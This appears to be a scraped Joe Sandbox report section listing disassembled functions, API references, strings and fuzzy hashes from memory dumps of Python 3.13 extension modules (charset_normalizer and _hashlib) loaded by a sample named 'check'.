Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 654df5fa479ad5bb9e9678409b14d71cf42fe6ade4e1614fdee4c868db2ca590
Instruction ID: 4b8606011dab418dae1f06535d2e86707bd92bd366b1be0dcf67307728306d63
Opcode Fuzzy Hash: 654df5fa479ad5bb9e9678409b14d71cf42fe6ade4e1614fdee4c868db2ca590
Instruction Fuzzy Hash: F421BE69F09F0681FB099F59AC541B423A4BF25BF1F448636D88E4A7A1EF3CA1518F80

Function 00007FF810C537A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C537AE
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53835
PyObject_SetAttr.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C5384C
_Py_Dealloc.PYTHON313 ref: 00007FF810C53862

Strings

<module>, xrefs: 00007FF810C53873

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 9096e9a70290c7887449f39750c569a93df5a141650fbdeb4dea34a200f75361
Instruction ID: 2c1d4d6bd064aad94d056274beda1b1465a0f14ff23e7a9245cb84ade5392257
Opcode Fuzzy Hash: 9096e9a70290c7887449f39750c569a93df5a141650fbdeb4dea34a200f75361
Instruction Fuzzy Hash: 3E21CF69F08F0681FB088F15AD501B433A4BF28BE0F448636D98E8A3A0DF3CA151CF40

Function 00007FF810C52F62 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C52F68
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C52FEF
PyObject_SetAttr.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53006
_Py_Dealloc.PYTHON313 ref: 00007FF810C5301C

Strings

<module>, xrefs: 00007FF810C5302D

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 7e62d14fcbf0ba808d2296cdb9a0c6d0d4278570a92610b72c57f5a7bbdf6595
Instruction ID: 3364b940e547ea2081f034e2c6da63959a888d3289b7950b66df5e4e006b205e
Opcode Fuzzy Hash: 7e62d14fcbf0ba808d2296cdb9a0c6d0d4278570a92610b72c57f5a7bbdf6595
Instruction Fuzzy Hash: 0721BE69B09F1681FB488F04AC501B433A4BF74BE1F448235E98E4A3A0EF3CA1518F40

Function 00007FF810C53B03 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C53B09
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53B90
PyObject_SetAttr.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53BA7
_Py_Dealloc.PYTHON313 ref: 00007FF810C53BBD

Strings

<module>, xrefs: 00007FF810C53BCE

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: 66e9588891932f2266299a0f2b716d4ad5387c040907b4d93be6ffdeeb51030b
Instruction ID: de1c7456f6928f386ee5cb9d83ba82adb0da7ffb18c0918b5b804c207d1a3d64
Opcode Fuzzy Hash: 66e9588891932f2266299a0f2b716d4ad5387c040907b4d93be6ffdeeb51030b
Instruction Fuzzy Hash: B521BC69B09E5B81FB098F15AC901B433A4BF34BE0F448736D98E8A760DF3CA1518F80

Function 00007FF810C530F4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C530FA
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53181
PyObject_SetAttr.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C53198
_Py_Dealloc.PYTHON313 ref: 00007FF810C531AE

Strings

<module>, xrefs: 00007FF810C531BF

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$AttrObject_PackTuple_
String ID: <module>
API String ID: 4195104747-217463007
Opcode ID: ae8edcd4db67af853c77c6ac0662c456cac2e7145a1dc4c085f9b56c33a0e7fb
Instruction ID: 58ad0ccbc7462b311c8a28eb660812e50c73bd98b56949d022b4c84a35044654
Opcode Fuzzy Hash: ae8edcd4db67af853c77c6ac0662c456cac2e7145a1dc4c085f9b56c33a0e7fb
Instruction Fuzzy Hash: 6F21CD69F09E4691FB089F19AD501B533A4BF24BE1F448636C88E8A7A0DF3DA155CF40

Function 00007FF810C53527 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON313 ref: 00007FF810C53546
_Py_Dealloc.PYTHON313 ref: 00007FF810C53564
PyTuple_Pack.PYTHON313(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00007FF810C492BA), ref: 00007FF810C5357E

Strings

<module>, xrefs: 00007FF810C53EFB
], xrefs: 00007FF810C53592

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>$]
API String ID: 4228545439-2701914909
Opcode ID: 91e8a469bde0ba072685d38125bf6c89c59fff8979ff61c7c48fd1d75d176c28
Instruction ID: b93d7d96cc0c634c0f3d4dd82b308396d70c80060d9b36d496f0568c46863cfd
Opcode Fuzzy Hash: 91e8a469bde0ba072685d38125bf6c89c59fff8979ff61c7c48fd1d75d176c28
Instruction Fuzzy Hash: D0011A6AB09E0681FB158B19EC512792360AF74BF5F549235C98F467A0EE7DE4818F00

Function 00007FF810C93870 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

PyFrozenSet_New.PYTHON313 ref: 00007FF810C9387B
EVP_MD_do_all_provided.LIBCRYPTO-3 ref: 00007FF810C938A1
PyModule_Add.PYTHON313 ref: 00007FF810C938C1
_Py_Dealloc.PYTHON313 ref: 00007FF810C9507A

Strings

openssl_md_meth_names, xrefs: 00007FF810C938B7

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: D_do_all_providedDeallocFrozenModule_Set_
String ID: openssl_md_meth_names
API String ID: 15186259-1600430994
Opcode ID: 3dacb64bbd2ff93f9058bbc70e59a15b237fdb5538899d157df68aaf4fe6fae5
Instruction ID: b20d2482e1391b8306e0d70b79f0b3b00936d2bb29f5a07f82c7bdd283929a90
Opcode Fuzzy Hash: 3dacb64bbd2ff93f9058bbc70e59a15b237fdb5538899d157df68aaf4fe6fae5
Instruction Fuzzy Hash: 9A01E8B1909E42C2EB245BA4AC0427963A0FF887B9F545336E58E467E4CF3CD148CF04

Function 00007FF810C93800 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON313 ref: 00007FF810C9380D
PyErr_NewException.PYTHON313 ref: 00007FF810C9382A
PyModule_AddObjectRef.PYTHON313 ref: 00007FF810C93846

Strings

UnsupportedDigestmodError, xrefs: 00007FF810C9383C
_hashlib.UnsupportedDigestmodError, xrefs: 00007FF810C9381A

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Module_$Err_ExceptionObjectState
String ID: UnsupportedDigestmodError$_hashlib.UnsupportedDigestmodError
API String ID: 2341384915-1819944972
Opcode ID: 076402d4510f481339732df60880894f327e29f20a954e6d19425addee5c67e8
Instruction ID: 589a6e3eb0d0e65fea33321804012065ac8fb759af18789e8ae11ca17567610a
Opcode Fuzzy Hash: 076402d4510f481339732df60880894f327e29f20a954e6d19425addee5c67e8
Instruction Fuzzy Hash: B6F01DA1B19E42C1EB108BA9EC5417923A0FF0DBE4B549336E91D467E4DF2CD154CB04

Function 00007FF810C71050 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

PyImport_ImportModule.PYTHON313 ref: 00007FF810C7105B
_Py_Dealloc.PYTHON313 ref: 00007FF810C7107B
PyCapsule_Import.PYTHON313 ref: 00007FF810C7108A

Strings

charset_normalizer.md__mypyc, xrefs: 00007FF810C71054
charset_normalizer.md__mypyc.init_charset_normalizer___md, xrefs: 00007FF810C71083

Memory Dump Source

Source File: 0000001D.00000002.2001656157.00007FF810C71000.00000020.00000001.01000000.0000005C.sdmp, Offset: 00007FF810C70000, based on PE: true

Associated: 0000001D.00000002.2001594326.00007FF810C70000.00000002.00000001.01000000.0000005C.sdmpDownload File
Associated: 0000001D.00000002.2001720279.00007FF810C72000.00000002.00000001.01000000.0000005C.sdmpDownload File
Associated: 0000001D.00000002.2001784985.00007FF810C74000.00000002.00000001.01000000.0000005C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c70000_check.jbxd

Similarity

API ID: Import$Capsule_DeallocImport_Module
String ID: charset_normalizer.md__mypyc$charset_normalizer.md__mypyc.init_charset_normalizer___md
API String ID: 1394619730-824592145
Opcode ID: d954cff48a7ee0c0c571271d2dca3939e2c3bac104dc76f2686c937bf5602fae
Instruction ID: 26b06faa84fdaa1d17846306fa475bb7f4f2e2e739a64b401fcfb5531d3334c2
Opcode Fuzzy Hash: d954cff48a7ee0c0c571271d2dca3939e2c3bac104dc76f2686c937bf5602fae
Instruction Fuzzy Hash: 3DE0ED21E09E42C6EB195B259C542742292BF987A1F844631C50DC1362EE3CA9C58F10

Function 00007FF810C9588C Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C95942
PyObject_GetBuffer.PYTHON313 ref: 00007FF810C9595B
PyObject_GetBuffer.PYTHON313 ref: 00007FF810C95974
PyBuffer_Release.PYTHON313 ref: 00007FF810C959A7
PyBuffer_Release.PYTHON313 ref: 00007FF810C959C0

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: BufferBuffer_Object_Release$Arg_KeywordsUnpack
String ID:
API String ID: 3242278262-0
Opcode ID: be9c9fad4063cb8fb70c60801e7bd1cd8d5566258cd7a0214ab97a0483edaef3
Instruction ID: c3786024efc3649dda56aa94c0d03b94a79c5817cb415b4d978869a81c11f4c3
Opcode Fuzzy Hash: be9c9fad4063cb8fb70c60801e7bd1cd8d5566258cd7a0214ab97a0483edaef3
Instruction Fuzzy Hash: 1C313EA2A18FC5C1EB20CB65E8453B9A3A0FFA97E4F415335DA8D02659DF7CD585CB00

Function 00007FF810C42E70 Relevance: 7.6, APIs: 5, Instructions: 80COMMON

Download Yara Rule

APIs

PyObject_RichCompareBool.PYTHON313 ref: 00007FF810C42EF7
_Py_Dealloc.PYTHON313 ref: 00007FF810C42F0D
_Py_Dealloc.PYTHON313 ref: 00007FF810C42F21

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$BoolCompareObject_Rich
String ID:
API String ID: 74976934-0
Opcode ID: bd020da4d3e74b7a919d122d982087bbf0cc829e33ea934dffbdbc4a55e6c416
Instruction ID: ec6900b7d3b45531a5edc146a503f309baf50af8d0a7dd9fe4428f0dc16747de
Opcode Fuzzy Hash: bd020da4d3e74b7a919d122d982087bbf0cc829e33ea934dffbdbc4a55e6c416
Instruction Fuzzy Hash: 85219532E08D1246FB244B199D5537922A2BF15BF1F884330DE69CB7D4DF2CE8918B40

Function 00007FF810C42F50 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C42F7F
PyLong_FromSsize_t.PYTHON313 ref: 00007FF810C42FA7
PyObject_RichCompareBool.PYTHON313 ref: 00007FF810C42FBE
_Py_Dealloc.PYTHON313 ref: 00007FF810C42FD4
_Py_Dealloc.PYTHON313 ref: 00007FF810C42FE8

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: DeallocFromLong_Ssize_t$BoolCompareObject_Rich
String ID:
API String ID: 4107546884-0
Opcode ID: a6d53c364244f074a92d799597e9925e3a6c40a5a6def8a1553d097aa5685193
Instruction ID: 611efaaa0ff5ebb36ddb01e6928620da75fbf3c00914a8a179880135b295b67b
Opcode Fuzzy Hash: a6d53c364244f074a92d799597e9925e3a6c40a5a6def8a1553d097aa5685193
Instruction Fuzzy Hash: F4216232A18E1342F7254B69AD5537927B1BF55BF0F884330DA6ACABD4DF2CE4948B40

Function 00007FF810C92580 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_PyNumber_Index.PYTHON313 ref: 00007FF810C925C2
PyLong_AsSsize_t.PYTHON313 ref: 00007FF810C925D7
_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C94E6F
_Py_Dealloc.PYTHON313 ref: 00007FF810C94E93
PyErr_Occurred.PYTHON313 ref: 00007FF810C94E9F

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Arg_DeallocErr_IndexKeywordsLong_Number_OccurredSsize_tUnpack
String ID:
API String ID: 2202598743-0
Opcode ID: 5a99779b1944d046650336c423d0cab34af7b93e825475350489e6fca7d1728b
Instruction ID: f546879c8fbed047e0a5c447a34102453f77abdd1a14ebb7b90be77cc086f15a
Opcode Fuzzy Hash: 5a99779b1944d046650336c423d0cab34af7b93e825475350489e6fca7d1728b
Instruction Fuzzy Hash: 67212AB1A09F42C2EB508B91AC54279A292BF49BF4F454734EA6D06BD4EF3CE415CB00

Function 00007FF810C923B0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_PyNumber_Index.PYTHON313 ref: 00007FF810C923F2
PyLong_AsSsize_t.PYTHON313 ref: 00007FF810C92407
_PyArg_UnpackKeywords.PYTHON313 ref: 00007FF810C94D2F
_Py_Dealloc.PYTHON313 ref: 00007FF810C94D53
PyErr_Occurred.PYTHON313 ref: 00007FF810C94D5F

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Arg_DeallocErr_IndexKeywordsLong_Number_OccurredSsize_tUnpack
String ID:
API String ID: 2202598743-0
Opcode ID: 8bd49de8edf2719edd1383f98671173d62cae61ae83d241d7d577c3798b6e468
Instruction ID: a855360010b2509d1732ae395dca0cc6bf0a8c53490e768d34fd0263f3544b00
Opcode Fuzzy Hash: 8bd49de8edf2719edd1383f98671173d62cae61ae83d241d7d577c3798b6e468
Instruction Fuzzy Hash: 2A2139B1A09F42C2EF548B95AD4427962A2BF49BF4F480334DAAD067E5EF7CE4158F00

Function 00007FF810C45790 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON313 ref: 00007FF810C4579D
PyThreadState_Get.PYTHON313 ref: 00007FF810C457A3
_Py_Dealloc.PYTHON313 ref: 00007FF810C45804
_Py_Dealloc.PYTHON313 ref: 00007FF810C4582D
_PyTrash_thread_destroy_chain.PYTHON313 ref: 00007FF810C4585A

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_thread_destroy_chain
String ID:
API String ID: 1450163949-0
Opcode ID: 655c4f94442aed13a7b79404f258b2e342d9c68aa1806db83e041f2d82faccae
Instruction ID: 939d570974091f9e464628d2f82f6766351443a0aa4a8b62abe3d1f2f932ea66
Opcode Fuzzy Hash: 655c4f94442aed13a7b79404f258b2e342d9c68aa1806db83e041f2d82faccae
Instruction Fuzzy Hash: C6211976A58E4282EB548F25DD5432833A0FF64BB8F141330DA6A8ABD5CF7DE495CB40

Function 00007FF810C483A0 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C483CC
_Py_Dealloc.PYTHON313 ref: 00007FF810C483F5
_Py_Dealloc.PYTHON313 ref: 00007FF810C4841E
_Py_Dealloc.PYTHON313 ref: 00007FF810C48447
_Py_Dealloc.PYTHON313 ref: 00007FF810C48469

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: ab173d0625e217b967faabbc44cc44bb59533b674fcd6a766ad6e7aab9f234b2
Instruction ID: f88ef090a6e084bf7367e5f8b94f47102c1d17ff791137fd073ed1ae6db33b6a
Opcode Fuzzy Hash: ab173d0625e217b967faabbc44cc44bb59533b674fcd6a766ad6e7aab9f234b2
Instruction Fuzzy Hash: C331CA76919E0281E7558F389C6837A32E4FF54FB9F141334CA69892E5CF7D9489CB40

Function 00007FF810C44120 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

PyUnicode_New.PYTHON313 ref: 00007FF810C44151
PyObject_Str.PYTHON313 ref: 00007FF810C4429F

Strings

gfffffff, xrefs: 00007FF810C441C9

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Object_Unicode_
String ID: gfffffff
API String ID: 3285369508-1523873471
Opcode ID: 89579ba911fe3e2f8253b160cc8a043a1a2f61342cac86888b062918bf490ab9
Instruction ID: 5dbfec2f9e50d6f699bc97d8bf59ac73b97016df36d178b06e4c8c6f839ef0ef
Opcode Fuzzy Hash: 89579ba911fe3e2f8253b160cc8a043a1a2f61342cac86888b062918bf490ab9
Instruction Fuzzy Hash: 2E412EA6B08F4542EB148B16B8113B9BB90FFA57E0F551230DE5E8B7D1DE3CE5418B41

Function 00007FF810C46C50 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C46C7A

Strings

charset_normalizer.md.SuperWeirdWordPlugin, xrefs: 00007FF810C46D85
interpreted classes cannot inherit from compiled, xrefs: 00007FF810C46C70
__init__, xrefs: 00007FF810C46CB9, 00007FF810C46D98

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.SuperWeirdWordPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-371468285
Opcode ID: 05b89a33d11fc37efb6bcde6d359067e3a26b314eb0a9bea5c7bc715b8295e54
Instruction ID: d5aed458b15052cc2012b832a5fbefe8b6619e2e27a6ba977541a68eb2350f0b
Opcode Fuzzy Hash: 05b89a33d11fc37efb6bcde6d359067e3a26b314eb0a9bea5c7bc715b8295e54
Instruction Fuzzy Hash: C7410376A08F0181EB54CF29E85036933A5FF58BE8F544235CA8D87368EF7AE491CB40

